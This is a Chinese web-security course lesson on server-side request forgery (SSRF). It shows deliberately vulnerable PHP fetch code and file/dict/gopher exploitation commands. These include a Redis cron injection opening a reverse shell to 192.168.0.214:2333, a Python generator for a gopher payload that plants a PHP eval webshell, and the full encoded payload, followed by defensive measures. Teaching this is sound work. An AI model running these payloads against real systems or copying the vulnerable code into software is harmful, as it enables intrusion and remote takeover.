美文网首页
风炫安全Web安全学习第四十二节课 SSRF漏洞演示与讲解

风炫安全Web安全学习第四十二节课 SSRF漏洞演示与讲解

作者: 风炫安全 | 来源:发表于2021-01-21 10:23 被阅读0次

    第四十二节课 风炫安全Web安全学习第四十一节课 SSRF漏洞演示与讲解

    SSRF(Server-Side Request Forgery:服务器端请求伪造)

    0x01 漏洞简介

    Ssrf是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

    Example:

    GET /index.php?url=http://google.com/ HTTP/1.1
    Host: example.com
    

    在这里,http://example.com 从它的服务器获取 http://google.com

    img

    什么地方最容易出现SSRF

    • 云服务器商。(各种网站数据库操作)

    • 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)

    • 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)

    • 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg) 最后一个一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。

    SSRF可以做什么

    • 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
    • 攻击运行在内网或者本地的应用程序
    • 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
    • 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
    • 下载内网资源(利用file协议读取本地文件等)
    • 利用Redis未授权访问,HTTP CRLF注入达到getshell
    • wooyun峰会猪猪侠的ppt 进行跳板
    • 无视cdn

    0x02 漏洞讲解

    0x0201 函数

    file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

    1. file_get_contents()
    <?php
    $url = $_GET['url'];;
    echo file_get_contents($url);
    ?>
    

    file_get_content函数从用户指定的url获取内容,并展示给用户。file_put_content函数把一个字符串写入文件中。

    1. fsockopen()
    function GetFile($host,$port,$link) { 
        $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
        if (!$fp) { 
            echo "$errstr (error number $errno) \n"; 
        } else { 
            $out = "GET $link HTTP/1.1\r\n"; 
            $out .= "Host: $host\r\n"; 
            $out .= "Connection: Close\r\n\r\n"; 
            $out .= "\r\n"; 
            fwrite($fp, $out); 
            $contents=''; 
            while (!feof($fp)) { 
                $contents.= fgets($fp, 1024); 
            } 
            fclose($fp); 
            return $contents; 
        } 
    }
    ?>
    

    fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

    1. curl_exec
    if (isset($_GET['url'])){
        $link = $_GET['url'];
        $curlobj = curl_init();// 创建新的 cURL 资源
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
        $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
        curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
    
        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result); 
        echo $result;
    }
    ?>
    

    curl_exec函数用于执行指定的cURL会话

    0x0202 协议

    (1)http/s:探测内网主机存活
    (2)file: 在有回显的情况下,利用 file 协议可以读取任意内容
    (3)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
    (4)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

    0x03 漏洞利用

    http协议探测主机存活

    curl -vvv 'http://191.168.0.1:8080'

    file协议读取文件

    curl -vvv 'file:///etc/passwd'

    使用dict协议探测端口信息

    curl -vvv 'dict://127.0.0.1:6379/info'
    

    使用gopher协议攻击redis,getshell

    curl -v "gopher://127.0.0.1:6666/_info"

    利用redis把payload保存到linux计划任务,然后1分钟之后执行命令

    set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.214/2333 0>&1\n\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    

    使用gopher攻击内网redis获取权限

    改成gopher协议格式脚本

    import urllib
    protocol="gopher://"
    ip="127.0.0.1"
    port="6379"
    shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
    filename="shell.php"
    path="/Users/zhoumengying/code/study/ssrf"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
        
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print(payload)
    

    生成的payload:

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.0.214/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    

    最后补充一下,可进行利用的cron有如下几个地方:

    • /etc/crontab 这个是肯定的
    • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
    • /var/spool/cron/root centos系统下root用户的cron文件
    • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

    0x04漏洞防御

    1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
    2、统一错误信息,防止根据错误信息判断端口状态
    3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
    4、设置URL白名单或者限制内网IP

    0x05 参考

    http://blog.evalshell.com/2021/01/05/风炫安全web安全学习第四十二节课-ssrf漏洞演示与讲解/

    https://xz.aliyun.com/t/7405?accounttraceid=88b8ebbee5bb4ee6b62c004148f3f8e7ceje

    https://www.anquanke.com/post/id/197431

    相关文章

      网友评论

          本文标题:风炫安全Web安全学习第四十二节课 SSRF漏洞演示与讲解

          本文链接:https://www.haomeiwen.com/subject/iqfgoktx.html